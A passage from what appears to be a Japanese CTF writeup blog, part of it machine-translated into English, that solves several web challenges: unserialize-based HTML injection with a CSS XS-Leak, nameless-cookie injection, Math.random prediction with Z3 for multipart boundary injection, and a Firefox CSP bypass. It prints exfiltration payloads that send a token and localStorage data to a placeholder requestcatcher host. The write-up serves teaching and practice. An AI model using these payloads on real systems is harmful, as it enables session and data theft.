はまやんはまやんはまやん

hamayanhamayan's blog

sknbCTF 2025 writeup

[web] Yozuri

単純なphpコードで構成されたwebサイトが与えられる。重要なのは以下の部分。

    <?php
    if (isset($_GET["data"])) {
        $data = $_GET["data"];
        if (!is_string($data) | strlen($data) > 4096) {
            echo "Invalid data.";
        }
        else {
          unserialize($data);
        }
    } else {
        echo "No data provided.";
    }?>
    <h3>Token</h3>
    <?php echo htmlspecialchars($_COOKIE["TOKEN"] ?? "TOKEN_0123456789abcdef"); ?>

任意の入力がunserializeできる。botが別途用意されていて任意のwebサイトにアクセスさせることができるので、<?php echo htmlspecialchars($_COOKIE["TOKEN"] ?? "TOKEN_0123456789abcdef"); ?>トークンが取得できれば、それを使ってフラグが手に入る。よって、XSSをするような方針で考えることになる。

どこかで見たな... と思って手元のCTFメモ集を漁ると作問者である新月さんのブログが見つかる。unserializeを使ってXSSするテクニックが紹介されていて、今回はこれが使える。

全く同じO:8:"PhpToken":1:{s:28:"<img src=x onerror=alert(1)>";}を使えばHTMLタグが差し込めることが分かる。だが、今回はCaddyで厳格なCSPがかかっているのでXSSを達成することはできない。

cat > /tmp/Caddyfile << EOF
:3000 {
  header {
    defer
    Content-Security-Policy "script-src 'none'; default-src 'self'; base-uri 'none'"
  }

  reverse_proxy 127.0.0.1:9000 127.0.0.1:9001 127.0.0.1:9002 127.0.0.1:9003 {
    replace_status 200
  }
}
EOF

これをどうするかが次のステップ。

このwebサイトの構成どこかでみたな...と思って手元のCTFメモ集を漁るとArkさんの似たような状況の記事が見つかる。作問者がこの問題を激オススメしている記憶もあったので、これを組み合わせることで解けた。

詳細はArkさんの記事を見て欲しいが、まとめると、例外出力を悪用することでquirksモードにブラウザを移行させることができ、それによってMIMEタイプのおかしいCSSを読み込むことができ、phpのエラー画面を組み合わせることで任意のCSSを実行させられて、それをいい感じに使って(このパートもだいぶ天才度が高いが)XS-Leakする。

ほとんど上記2つのブログの切り貼りだが、以下のサイトをどこかで立ち上げてbotに踏ませればトークンが手に入り、それを使ってフラグが得られる。

<body>
  <script type="module">
    const BASE_URL = "http://web:3000";
    //const BASE_URL = "http://localhost:3000";

    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

    const TOKEN_SIZE = 16;

    let known = "TOKEN_";
    const win = open("");

    const CHARS = [..."0123456789abcdef"];

    const match = async (pattern) => {
      console.log(pattern);
      win.location = "about:blank";
      //await sleep(400);

      const html = `<link href="/not-found.txt?{}div:has(input:valid){display:none}" rel=stylesheet><div><embed code="x" type=text/html><input pattern=".%2b${pattern}.%2b" value="`;
      const url = `${BASE_URL}/?data=O:8:"PhpToken":1:{s:${html.length-4}:"${html}";}${"&a".repeat(1000)}`;

      win.location = url;
      await sleep(300);
      console.log(win.length);

      return win.length === 0; // frame counting
    };

    console.log("Start attacking...");

    for (let i = 0; i < TOKEN_SIZE; i++) {
      // binary search
      let left = 0;
      let right = CHARS.length;
      while (right - left > 1) {
        const mid = (right + left) >> 1;

        const p = "(" + CHARS.slice(left, mid).join("|") + ")";
        if (await match(known + p)) {
          right = mid;
        } else {
          left = mid;
        }
      }
      known += CHARS[right - 1];
      navigator.sendBeacon("https://[yours].requestcatcher.com/debug", known);
    }

    navigator.sendBeacon("https://[yours].requestcatcher.com/token", known);
  </script>
</body>

[web] Your name

以下のようなCookieを指定して起動するbotが与えられる。

const visit = async (cookie) => {
    const browser = await puppeteer.launch({
        executablePath: "/usr/bin/chromium",
        args: [
            "--no-sandbox",
        ],
    });
    await browser.setCookie({
        domain: "localhost",
        name: "flag",
        value: "false",
    });

    let resp;
    const page = await browser.newPage();
    await page.setDefaultTimeout(20000);

    // for generating document
    await page.goto("http://localhost:3000/flag");

    const whitelist = /^[a-zA-Z0-9=;\/]+$/
    const cookies = cookie.split(";");
    for (const pair of cookies) {
        if (!whitelist.test(pair)) {
            return "invalid cookie detected";
        }
        if (pair.startsWith("flag=")) {
            return "invalid cookie detected";
        }
    }
    // set cookie
    await page.evaluate(c => document.cookie = c, cookie);
    
    const res = await page.goto("http://localhost:3000/flag");
    resp = await res.text();

    await page.close();
    await browser.close();
    return resp;
}

botが開くGET /flagは以下のような実装になっている。

app.get("/flag", (req, res) => {
    const cookieHeader = req.headers.cookie;
    if (!cookieHeader) {
        res.send("no cookies :(");
        return;
    }
    for (const cookie of cookieHeader.split(";")) {
        if (cookie === "flag=true") {
            res.send(process.env.GZCTF_FLAG);
            return;
        }
    }
    res.send("no flag for you");
});

flag=trueであればフラグがもらえるが、bot呼び出し側でflag=から始まるCookieを弾いている。結論から書くと=flag=true;path=/flagでフラグがもらえる。

これはnameless cookieと呼ばれるもので、keyが無しで、値がflag=trueになっている。100%理解正しいか自信が無いが、名前が空の場合は=を付けず送信され(多分ここ)、サーバからはflag=trueと認識され、重複キーのCookieを送ることができる。あとは、pathを付けて優先順位をいい感じに調整して、最終的にこの形になる。

m0leCon CTF 2026 Teaser Writeups

[web] SecureTexBin [Claude English Translation]

A website for saving text is provided. It has a frontend, backend, and database structure, with a Node.js frontend running against a PHP backend that is not exposed externally. There is also an adminbot, and the flag is stored in localStorage. The final objective is to perform XSS.

Suspicious Area Where Arbitrary Content-Type Can Be Set

The distinctive feature of this problem is that the upload process includes Content-Type handling.

On the frontend Node.js side:

async function uploadFile(fileName, fileBuffer, fileId, BACKEND) {
    const fd = new FormData();
    const blob = new Blob([fileBuffer], { type: 'text/plain' });
    fd.append('file', blob, fileName);
    fd.append('id', fileId);
    return await fetch(BACKEND, { method: 'POST', body: fd });
}

The backend PHP side reads it like:

$id = $_POST['id'];
$file = $_POST['file'] ?? null;
$contentType = $_POST['content_type'] ?? 'text/plain';
$fileName = uniqid();

[...redacted...]

$stmt = $pdo->prepare("INSERT INTO files (id, filename, content_type, file_data, created_at) VALUES (?, ?, ?, ?, NOW())");
$stmt->execute([$id, $fileName, $contentType, $file]);

The frontend implementation for GET /file/:id that the adminbot accesses is shown below, and while the backend implementation is omitted, the Content-Type set during upload is used directly in the response:

app.get('/file/:id', async (req, res) => {
    try {
        let id = req.params.id;
        if (!id || isNaN(Number(id)))
            return res.status(400).send("Invalid file ID");
        let response = await fetch(`${BACKEND}/file.php?id=${parseInt(id)}`)
        let data = await response.text();
        res.header('content-type', response.headers.get('content-type') || 'text/plain');
        return res.send(data);
    } catch (e) {
        console.log(e);
        res.status(500).send("Error");
    }
});

Looking at the implementation, it appears that Content-Type cannot be specified externally—text/plain is used uniformly, so XSS would not occur. However, the difficult point in this challenge is somehow setting the Content-Type from outside. I almost gave up on my approach several times, but since a special Content-Type was needed for the CSP Bypass described below, I persevered with the investigation and succeeded.

Random Number Prediction and Boundary Injection for Content-Type Injection

const fd = new FormData();
fd.append('file', new Blob(["filebody"], { type: 'text/plain' }), "sample.txt");
await fetch('https://[yours].requestcatcher.com/hoge', { method: 'POST', body: fd });

Summarizing the upload process on the frontend side, when you run the above in Chrome's console:

POST /hoge HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydw5ZFMVuHR7nWnVE
[...redacted...]

------WebKitFormBoundarydw5ZFMVuHR7nWnVE
Content-Disposition: form-data; name="file"; filename="sample.txt"
Content-Type: text/plain

filebody
------WebKitFormBoundarydw5ZFMVuHR7nWnVE--

It is sent as multipart/form-data. Now let's try injecting line breaks to send something like the following:

const fd = new FormData();
fd.append('file', new Blob(["filebody\r\n------WebKitFormBoundaryAAAAAAAAAAAAA\r\nContent-Disposition: form-data; name=\"content_type\"\r\n\r\ntext/html"], { type: 'text/plain' }), "sample.txt");
await fetch('https://[yours].requestcatcher.com/hoge', { method: 'POST', body: fd });

Then:

POST /hoge HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4oFc9zO8uNK6CFKS
[...redacted...]

------WebKitFormBoundary4oFc9zO8uNK6CFKS
Content-Disposition: form-data; name="file"; filename="sample.txt"
Content-Type: text/plain

filebody
------WebKitFormBoundaryAAAAAAAAAAAAA
Content-Disposition: form-data; name="content_type"

text/html
------WebKitFormBoundary4oFc9zO8uNK6CFKS--

This happens. In other words, by using line breaks, we can embed a boundary. However, the boundary contains a random string that is generated each time, and if it's not correct, it won't be recognized as a valid boundary, and in most cases, boundary injection won't work.

I searched the internet for information that might be useful and found a similar problem in KMA CTF 2025 II. In older Node.js fetch implementations, this boundary random part generation uses Math.random() and is predictable, which is a vulnerability. The Dockerfile uses FROM node:20.18.1-slim, and reading the source code of that version confirms that Math.random() is indeed used.

const boundary = `----formdata-undici-0${`${Math.floor(Math.random() * 1e11)}`.padStart(11, '0')}`

Note that a different prefix is used compared to Chrome. Also, to predict the random number, we need to collect samples of the random number. There is a place in the frontend implementation where Math.random() is used similarly:

app.post('/', upload.any(), async (req, res) => {
    let fileBuffer = null;
    let fileName = null;
    const fileId = Math.floor(Math.random() * 1e12);

    # ...redacted...

    try {
        let response = fileName ? await uploadFile(fileName, fileBuffer, fileId, BACKEND) : await uploadText(fileBuffer, fileId, BACKEND);

        const res_json = await response.json();
        if (!res_json.success) throw new Error("file upload went wrong");
        
        return res.redirect(303, `/file/${fileId}`);
    } catch (e) {
        console.log(e);
        res.status(500).send("Error");
    }
});

Math.random() is used in the ID generation when a file is uploaded, which is observable from outside, so we can collect samples. Now we have all the necessary conditions, so let's write a script to predict the random number and generate a valid boundary. The procedure is:

  1. Upload 10 times to collect fileIds. At this time, if we input something that would transition to uploadFile, Math.random() would be called during the fetch of FormData and the counter would advance, so we should transition to uploadText.
  2. Restore the state from the collected fileIds using Z3 (we borrowed the script)
  3. Predict the output of the random number 2 steps ahead and generate a boundary based on it. The output 1 step ahead is used for fileId, so the output 2 steps ahead is used for boundary generation.

The script for random number prediction and obtaining the random number 2 steps ahead is as follows. It was customized from the one in this article (originally from the HackerOne article that follows):

#!/usr/bin/python3
import z3
import struct
import sys
import base64
import json

sequence = json.loads(base64.b64decode(sys.argv[1]).decode())

sequence = sequence[::-1]

solver = z3.Solver()

se_state0, se_state1 = z3.BitVecs("se_state0 se_state1", 64)

# To ultimately obtain the output 2 steps ahead, we advance one step without output
se_s1 = se_state0
se_s0 = se_state1
se_state0 = se_s0
se_s1 ^= se_s1 << 23
se_s1 ^= z3.LShR(se_s1, 17)  # Logical shift instead of Arthmetric shift
se_s1 ^= se_s0
se_s1 ^= z3.LShR(se_s0, 26)
se_state1 = se_s1

for i in range(len(sequence)):
    se_s1 = se_state0
    se_s0 = se_state1
    se_state0 = se_s0
    se_s1 ^= se_s1 << 23
    se_s1 ^= z3.LShR(se_s1, 17)  # Logical shift instead of Arthmetric shift
    se_s1 ^= se_s0
    se_s1 ^= z3.LShR(se_s0, 26)
    se_state1 = se_s1
    solver.add(
        int(sequence[i]) == ((z3.ZeroExt(64, z3.LShR(se_state0, 12)) * 1e12) >> 52)
    )

if solver.check() == z3.sat:
    model = solver.model()

    states = {}
    for state in model.decls():
        states[state.__str__()] = model[state]

    state0 = states["se_state0"].as_long()

    # Generate the predicted value for undici boundary (Math.floor(Math.random() * 1e11))
    u_long_long_64 = (state0 >> 12) | 0x3FF0000000000000
    float_64 = struct.pack("<Q", u_long_long_64)
    next_sequence = struct.unpack("d", float_64)[0]
    next_sequence -= 1

    print(int(next_sequence * 1e11))

Using this, write a boundary generation script like so:

import requests
import subprocess
import json
from base64 import b64encode
import re

TARGET = "https://localhost:1337"


def extract_file_id(response):
    """Extract file ID from redirect response"""
    if response.status_code in [302, 303]:
        location = response.headers.get('Location', '')
        match = re.search(r'/file/(\d+)', location)
        if match:
            return int(match.group(1))
    return None

def collect_random_values(n=10):
    """Collect Math.random() values by uploading files and extracting fileIds"""
    print(f"[*] Collecting {n} random values from fileId generation...")
    values = []

    for i in range(n):
        # Simple upload to trigger Math.random()
        data = {'file': 'dummy'}
        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
        resp = requests.post(f"{TARGET}/", data=data, headers=headers, allow_redirects=False)

        file_id = extract_file_id(resp)
        if file_id:
            values.append(file_id)
            print(f"  [{i+1}/{n}] fileId: {file_id}")
        else:
            print(f"  [{i+1}/{n}] Failed to extract fileId")

    return values


def predict_boundary(sequence):
    base64_sequence = b64encode(json.dumps(sequence).encode()).decode()

    predict_boundary = subprocess.run(
        ["python3", "predict.py", base64_sequence],
        check=True,
        capture_output=True,
        text=True,
    ).stdout

    return predict_boundary

if __name__ == "__main__":
    sequence = collect_random_values()
    next_boundary = predict_boundary(sequence)

    print(f'------formdata-undici-0{next_boundary.zfill(11)}')

Sometimes it fails for some reason, but running this will generate a boundary. Using this, if you upload a file like the following, you can inject text/html into the Content-Type and make it be interpreted as HTML:

<s>XSS</s>
------formdata-undici-060111778431
Content-Disposition: form-data; name="content_type"

text/html

CSP Bypass

CSP is set, and the next step is to bypass it.

app.use((req, res, next) => {
    res.header("content-security-policy", "default-src 'none'");
    next();
});

Here, the important point is that the adminbot uses Firefox to browse the site. From CSP Bypass, Firefox, and the ability to change Content-Type, this technique should work. Using this technique, you can completely bypass CSP and perform XSS. In the end, if you upload a file like the following and have the adminbot access it, you'll get the flag:

foo--WECANDOIT
Content-Type: text/html
Content-Security-Policy: script-src 'unsafe-inline'; connect-src https:

<script>fetch('https://[yours].requestcatcher.com/flag', { method : 'post', body: localStorage.getItem('flag') });</script>
--WECANDOIT--
------formdata-undici-060111778431
Content-Disposition: form-data; name="content_type"

multipart/x-mixed-replace; boundary=WECANDOIT

[web] SecureTexBin [日本語]

テキストを保存しておくサイトが与えられる。frontend, backend, dbの構成になっており、Node.jsで作られたfrontendによって、外部に面していないphpで書かれたbackendが動いている。adminbotもあり、フラグはlocalstorageに格納されている。XSSするのが最終目的。

任意のContent-Typeが付けられそうな怪しい所

今回の問題で特徴的なのが、アップロード処理にてContent-Typeに関する処理が含まれていることである。

フロントエンドのNode.js側では

async function uploadFile(fileName, fileBuffer, fileId, BACKEND) {
    const fd = new FormData();
    const blob = new Blob([fileBuffer], { type: 'text/plain' });
    fd.append('file', blob, fileName);
    fd.append('id', fileId);
    return await fetch(BACKEND, { method: 'POST', body: fd });
}

のように、バックエンドにfetchしていて、バックエンドのphp側では

$id = $_POST['id'];
$file = $_POST['file'] ?? null;
$contentType = $_POST['content_type'] ?? 'text/plain';
$fileName = uniqid();

[...redacted...]

$stmt = $pdo->prepare("INSERT INTO files (id, filename, content_type, file_data, created_at) VALUES (?, ?, ?, ?, NOW())");
$stmt->execute([$id, $fileName, $contentType, $file]);

のように読み込んでいます。adminbotがアクセスするGET /file/:idのフロントエンドの実装は以下のようになっており、バックエンドの実装は省略しますが、アップロード時に設定したContent-Typeがそのまま応答で利用されるようになります。

app.get('/file/:id', async (req, res) => {
    try {
        let id = req.params.id;
        if (!id || isNaN(Number(id)))
            return res.status(400).send("Invalid file ID");
        let response = await fetch(`${BACKEND}/file.php?id=${parseInt(id)}`)
        let data = await response.text();
        res.header('content-type', response.headers.get('content-type') || 'text/plain');
        return res.send(data);
    } catch (e) {
        console.log(e);
        res.status(500).send("Error");
    }
});

実装を見ると外部からContent-Typeを指定することはできず、一律text/plainが利用されるため、XSSは発生しないように見えるのですが、ここを何とかしてContent-Typeを外部から設定してやることが今回難しいポイントです。何回か方針をあきらめかけましたが、後述するCSP Bypassのために特殊なContent-Typeを使う必要があったため、根性調査したらできました。

乱数の推測とBoundary Injectionによる、Content-Typeの差し込み

const fd = new FormData();
fd.append('file', new Blob(["filebody"], { type: 'text/plain' }), "sample.txt");
await fetch('https://[yours].requestcatcher.com/hoge', { method: 'POST', body: fd });

フロントエンド側のアップロード処理は整理すると以上のような感じで、これを試しにChromeのコンソールで動かすと、

POST /hoge HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydw5ZFMVuHR7nWnVE
[...redacted...]

------WebKitFormBoundarydw5ZFMVuHR7nWnVE
Content-Disposition: form-data; name="file"; filename="sample.txt"
Content-Type: text/plain

filebody
------WebKitFormBoundarydw5ZFMVuHR7nWnVE--

のようにmultipart/form-dataで送られます。これに改行を入れ込んで以下のようなものを送ってみる。

const fd = new FormData();
fd.append('file', new Blob(["filebody\r\n------WebKitFormBoundaryAAAAAAAAAAAAA\r\nContent-Disposition: form-data; name=\"content_type\"\r\n\r\ntext/html"], { type: 'text/plain' }), "sample.txt");
await fetch('https://[yours].requestcatcher.com/hoge', { method: 'POST', body: fd });

すると、

POST /hoge HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4oFc9zO8uNK6CFKS
[...redacted...]

------WebKitFormBoundary4oFc9zO8uNK6CFKS
Content-Disposition: form-data; name="file"; filename="sample.txt"
Content-Type: text/plain

filebody
------WebKitFormBoundaryAAAAAAAAAAAAA
Content-Disposition: form-data; name="content_type"

text/html
------WebKitFormBoundary4oFc9zO8uNK6CFKS--

こうなります。つまり、改行を使えば、boundaryを埋め込むことができます。しかし、boundaryには毎回生成されるランダムな文字列が埋め込まれており、これが正しくないと正しいboundaryとして認識されず、多くの場合、boundary injectionとして成立させることはできません。

インターネットで使えそうな情報が無いか探し、KMA CTF 2025 IIにて、同じような状況の問題を見つけた。古いNode.jsのfetchの実装では、このboundaryの乱数部分の生成をMath.random()を使っていて推測可能なので危ないという脆弱性。DockerfileからFROM node:20.18.1-slimが使われていて、該当バージョンのソースコードを読みに行くと、実際にMath.random()が使われていることも確認できる。

const boundary = `----formdata-undici-0${`${Math.floor(Math.random() * 1e11)}`.padStart(11, '0')}`

Chromeとは違うprefixが使われているのも差し込み時に注意。また、乱数を推測するためには乱数のサンプルを集める必要があるが、フロントエンドの実装にて同様にMath.random()を使っている箇所が存在する。

app.post('/', upload.any(), async (req, res) => {
    let fileBuffer = null;
    let fileName = null;
    const fileId = Math.floor(Math.random() * 1e12);

    # ...redacted...

    try {
        let response = fileName ? await uploadFile(fileName, fileBuffer, fileId, BACKEND) : await uploadText(fileBuffer, fileId, BACKEND);

        const res_json = await response.json();
        if (!res_json.success) throw new Error("file upload went wrong");
        
        return res.redirect(303, `/file/${fileId}`);
    } catch (e) {
        console.log(e);
        res.status(500).send("Error");
    }
});

ファイルをアップロードしたときのIDの生成にMath.random()が使われていて、これは外部から観測可能なのでサンプルを集めることができる。これで、必要な状況は揃ったので、乱数の推測と有効なBoundaryを生成するスクリプトを書く。手順は

  1. 10回アップロードしてfileIdを集める。このとき、uploadFileに遷移するような入力をしてしまうと、FormDataのfetchをするときにMath.random()が呼ばれてしまってカウンターが進むので、uploadTextに遷移するようにして集める
  2. 集めたfileIdからZ3で状態復元する(スクリプトを借りてきました)
  3. 2つ次のMath.random()の出力を推測して、それを元にBoundaryを生成する。1つ次の出力はfileIdで使われるので、Boundaryの生成に使われるのは2つ次の出力

乱数の推測と2つ次の乱数を得るスクリプトは以下の通り。この記事にあるもの(元々はその先のHackerOneの記事にあるもの)をカスタムして作成。

#!/usr/bin/python3
import z3
import struct
import sys
import base64
import json

sequence = json.loads(base64.b64decode(sys.argv[1]).decode())

sequence = sequence[::-1]

solver = z3.Solver()

se_state0, se_state1 = z3.BitVecs("se_state0 se_state1", 64)

# 2つ次の出力を最終的に得るために1ステップ空振りで進めておく
se_s1 = se_state0
se_s0 = se_state1
se_state0 = se_s0
se_s1 ^= se_s1 << 23
se_s1 ^= z3.LShR(se_s1, 17)  # Logical shift instead of Arthmetric shift
se_s1 ^= se_s0
se_s1 ^= z3.LShR(se_s0, 26)
se_state1 = se_s1

for i in range(len(sequence)):
    se_s1 = se_state0
    se_s0 = se_state1
    se_state0 = se_s0
    se_s1 ^= se_s1 << 23
    se_s1 ^= z3.LShR(se_s1, 17)  # Logical shift instead of Arthmetric shift
    se_s1 ^= se_s0
    se_s1 ^= z3.LShR(se_s0, 26)
    se_state1 = se_s1
    solver.add(
        int(sequence[i]) == ((z3.ZeroExt(64, z3.LShR(se_state0, 12)) * 1e12) >> 52)
    )

if solver.check() == z3.sat:
    model = solver.model()

    states = {}
    for state in model.decls():
        states[state.__str__()] = model[state]

    state0 = states["se_state0"].as_long()

    # Generate the predicted value for undici boundary (Math.floor(Math.random() * 1e11))
    u_long_long_64 = (state0 >> 12) | 0x3FF0000000000000
    float_64 = struct.pack("<Q", u_long_long_64)
    next_sequence = struct.unpack("d", float_64)[0]
    next_sequence -= 1

    print(int(next_sequence * 1e11))

これを使う形で、以下のようにBoundary生成スクリプトを書く。

import requests
import subprocess
import json
from base64 import b64encode
import re

TARGET = "https://localhost:1337"


def extract_file_id(response):
    """Extract file ID from redirect response"""
    if response.status_code in [302, 303]:
        location = response.headers.get('Location', '')
        match = re.search(r'/file/(\d+)', location)
        if match:
            return int(match.group(1))
    return None

def collect_random_values(n=10):
    """Collect Math.random() values by uploading files and extracting fileIds"""
    print(f"[*] Collecting {n} random values from fileId generation...")
    values = []

    for i in range(n):
        # Simple upload to trigger Math.random()
        data = {'file': 'dummy'}
        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
        resp = requests.post(f"{TARGET}/", data=data, headers=headers, allow_redirects=False)

        file_id = extract_file_id(resp)
        if file_id:
            values.append(file_id)
            print(f"  [{i+1}/{n}] fileId: {file_id}")
        else:
            print(f"  [{i+1}/{n}] Failed to extract fileId")

    return values


def predict_boundary(sequence):
    base64_sequence = b64encode(json.dumps(sequence).encode()).decode()

    predict_boundary = subprocess.run(
        ["python3", "predict.py", base64_sequence],
        check=True,
        capture_output=True,
        text=True,
    ).stdout

    return predict_boundary

if __name__ == "__main__":
    sequence = collect_random_values()
    next_boundary = predict_boundary(sequence)

    print(f'------formdata-undici-0{next_boundary.zfill(11)}')

たまに何故か失敗するが、これを動かせばBoundaryが生成できる。これを使って以下のようなファイルをアップロードすれば、Content-Typeにtext/htmlを差し込むことができ、HTMLとして解釈させることができるようになる。

<s>XSS</s>
------formdata-undici-060111778431
Content-Disposition: form-data; name="content_type"

text/html

CSP Bypass

CSPが設定されているので、これを回避するのが次のステップ。

app.use((req, res, next) => {
    res.header("content-security-policy", "default-src 'none'");
    next();
});

ここで、adminbotはFireFoxを使ってサイトを閲覧しているというのが重要なポイント。CSP Bypass、FireFox、Content-Typeが変更可能ということから、このテクが使えそう。このテクを使えばCSPを完全に回避して、XSS可能。最終的には以下のようなファイルをアップロードして、adminbotにアクセスさせるとフラグが得られる。

foo--WECANDOIT
Content-Type: text/html
Content-Security-Policy: script-src 'unsafe-inline'; connect-src https:

<script>fetch('https://[yours].requestcatcher.com/flag', { method : 'post', body: localStorage.getItem('flag') });</script>
--WECANDOIT--
------formdata-undici-060111778431
Content-Disposition: form-data; name="content_type"

multipart/x-mixed-replace; boundary=WECANDOIT

LINE CTF 2025 Writeups

[web] Try GoTH

I just tried Go, sooooooo good. Sadly migration process isn't.

2nd Blood! コンテスト開始からひたすらやっていて、何とか解けた... XSSする問題。

SSTIする

まずはSSTIを見つける必要がある。コードベース全体を見て、まず怪しいのが GET /profile/で使われる、profile-page.tmpl。

{{ define "profile-page" }}
<div id="profile-page" class="container-lg p-4" hx-swap-oob="true">
    <div hx-trigger="load" hx-get="/profile/ssr?username={{ .User.Username }}"></div>
    <div id="profile-container" class="row"></div>
    <input type="hidden" id="id" value="{{ .User.ID }}">
    <input type="hidden" id="username" value="{{ .User.Username }}">
    <input type="hidden" id="displayName" value="{{ .User.DisplayName }}">
    <input type="hidden" id="status" value="{{ .User.Status }}">
    <div class="template" id="profile-page-template">
        <div id="temperature" class="h1 text-center">
            {{`{{`}}>temperature{{`}}`}}<sup>o</sup>C
        </div>
        <div id="weather" class="h4 text-center">
            {{`{{`}}>message{{`}}`}}
        </div>
        <p id="message" class="text-center">
            <b id="displayName" class="font-weight-bold">{{`{{`}}>displayName{{`}}`}}</b>
            is
            <i id="status" class="font-weight-light">{{`{{`}}>status{{`}}`}}</i>
        </p>
        <div id="info" class="border border-info rounded p-2 text-info"><i>{{`{{`}}>alert{{`}}`}}</div>
    </div>
    <script>
        document.addEventListener('htmx:afterRequest', function(e) {
            if (e.detail.requestConfig.path.split('?')[0] === "/profile/ssr") {
                if (document.getElementById('profile-container').children.length === 0) {
                    updateWeather()
                }
            }
        })

        decodeHTMLEntities = (s) => {
            const el = document.createElement('textarea')
            el.innerHTML = s
            return el.innerText
        }

        updateWeather = async () => {
            const weather = await fetchWeather();
            const renderData = {
                // id: document.getElementById("id")?.value || 0,
                // username: document.getElementById("username")?.value || "",
                displayName: document.getElementById("displayName")?.value || "",
                status: document.getElementById("status")?.value || "hapiii",
                temperature: weather.temperature,
                message: weather.message,
                alert: weather.alert
            };
            const profileTemplateString = decodeHTMLEntities(document.getElementById("profile-page-template").innerHTML);
            const profileTemplate = window.jsrender.templates(profileTemplateString);
            document.getElementById("profile-container").innerHTML = profileTemplate.render(renderData);
        }
    </script>
</div>
{{ end }}

htmxが使われていて、また、JsRenderを使ったクライアントサイドでのテンプレートレンダリングがある。botも用意されているので、とりあえずXSSを探していく。サーバサイド側で使われているhtml/templateで出来そうな所が探すが、ない。JsRenderも普通に使われていて、ない。

注目すべきは、GET /profileを表示するためにGET /profile/ssrをして埋め込みをしている部分。つまり、

<div hx-trigger="load" hx-get="/profile/ssr?username={{ .User.Username }}"></div>
<div id="profile-container" class="row"></div>

ここでhtmxを使ってGET /profile/ssrをして、そこでは以下のようなhtmxが埋め込まれる。

{{ define "profile-page-ssr" }}
<div id="profile-container" class="row" hx-swap-oob="outerHTML:div#profile-container">
    <div id="temperature" class="h1 text-center">
        {{ .Weather.Temperature }}<sup>o</sup>C
    </div>
    <div id="weather" class="h4 text-center">
        {{ .Weather.Message }}
    </div>
    <p id="message" class="text-center">
        <b id="displayName" class="font-weight-bold">{{ .User.DisplayName }}</b>
        is
        <i id="status" class="font-weight-light">{{ .User.Status }}</i>
    </div>
</div>
{{ end }}

hx-swap-oob="outerHTML:div#profile-container"と設定されているので、この内容は<div id="profile-container" class="row"></div>に埋め込まれることになる。JavaScript部分にて、

document.addEventListener('htmx:afterRequest', function(e) {
    if (e.detail.requestConfig.path.split('?')[0] === "/profile/ssr") {
        if (document.getElementById('profile-container').children.length === 0) {
            updateWeather()
        }
    }
})

このようにprofile-containerに要素が無ければ、JsRenderによるレンダリングを行うupdateWeather関数を呼び出す。つまり、フォールバックというか、代替処理になっている。updateWeather関数を呼び出さないとまずは始まらないので、まずは、profile-containerに要素が無い状態にする必要がある。そのためにはGET /profile/ssrでエラーを起こす必要がある。

func profileSSR(c *gin.Context) {
    user, found := c.Get("user")
    if !found {
        view.Alert("danger", "Can't find profile information")
        view.Redirect(c, "/")
        return
    }

    var profile service.Profile
    var err error

    if c.Query("username") == "" {
        profile, err = service.GetProfileById(user.(model.User).ID, true)
        if err != nil {
            view.Alert("danger", "Can't find profile information: " + err.Error())
            view.Redirect(c, "/")
            return
        }
    } else {
        username := c.Query("username")
        profile, err = service.GetProfileByUsername(username, true)
        if err != nil {
            view.Alert("danger", "Can't find profile information: " + err.Error())
            view.Redirect(c, "/profile")
            return
        }
    }

    if profile.Weather.Found {
        // Render weather data
        view.Execute(c, "profile-page-ssr", profile)
    } else {
        // Stick to client-side fetch
        view.Execute(c, "empty", nil)
    }
}

username==""の時は、ログインしているユーザーの内容が表示されるので、後々botに踏ませることを考えるとusernameを悪意あるユーザーのものにしておきたい。よって、

username := c.Query("username")
profile, err = service.GetProfileByUsername(username, true)
if err != nil {
  view.Alert("danger", "Can't find profile information: " + err.Error())
  view.Redirect(c, "/profile")
  return
}

ここでエラーを起こしたい。usernameは攻撃者の悪意あるユーザーのものにしたとするとservice.GetProfileByUsername(username, true)でエラーを出したい。呼び出しを色々見てみると、

func fetchWeather(code string) Weather {
    // TODO: Make agreement to get direct feed from weather satelite
    codeRegex := regexp.MustCompile("^[0-9]+$")
    if codeRegex.FindString(code) == "" {
        view.Alert("danger", "Cannot fetch weather code \"" + code  +"\"")
        return Weather{Temperature: f2c(69.420), Message: "Weather iz not found", Found: false}
    } else {
        return Weather{Temperature: f2c(69.420), Message: "Weather iz naisu", Found: true}
    }
}

のようにcode(=WeatherCode)が不正な文字列であるとエラーとして、codeを埋め込んだ文字列をview.Alertに投げてエラーに落とせる。view.Alertが発出されると、以下のテンプレートのものが埋め込まれる。

{{ define "alert-oob" }}
<div id="info" class="font-weight-bold border border-{{ .Type }} rounded text-{{ .Type }} p-2" hx-swap-oob="outerHTML:div#info">
    {{ .Content }}
</div>
{{ end }}

これもSSRの時と同様にhx-swap-oob="outerHTML:div#info"が使われている。その埋め込み場所を見てみると、<div id="info" class="border border-info rounded p-2 text-info"><i>{{`{{`}}>alert{{`}}`}}</div>であり、これはどこに入っているかというと...

<div class="template" id="profile-page-template">
    <div id="temperature" class="h1 text-center">
        {{`{{`}}>temperature{{`}}`}}<sup>o</sup>C
    </div>
    <div id="weather" class="h4 text-center">
        {{`{{`}}>message{{`}}`}}
    </div>
    <p id="message" class="text-center">
        <b id="displayName" class="font-weight-bold">{{`{{`}}>displayName{{`}}`}}</b>
        is
        <i id="status" class="font-weight-light">{{`{{`}}>status{{`}}`}}</i>
    </p>
    <div id="info" class="border border-info rounded p-2 text-info"><i>{{`{{`}}>alert{{`}}`}}</div>
</div>

JsRenderが使うテンプレートの部分DOMツリーに埋め込まれている!よって、htmxによって、テンプレート文字列部分にエラーが発生する任意のWeatherCodeを入れ込むことができ、それによってSSTIを発生させることができる!

WeatherCodeに{{if 1=1}}a{{else}}b{{/if}}を入れてみるとaが表示され、条件をfalseになるようにするとbが表示されることが確認できる。とりあえず、SSTIができることが分かった。

フィルターを回避してSSTIをXSS

ここのパートを無限にやってました。SSTIができたので、これをXSSにしていく。問題を難しくしているのがフィルターの存在。

func validate(status, displayName, weatherCode string) bool {
    blacklisted := "\"';:<>()\\#$%-?&" // idk ChatGPT said this will work
    buf := ""
    idx := []int{}
    buf += "status"
    idx = append(idx, len(buf))
    buf += status
    idx = append(idx, len(buf))
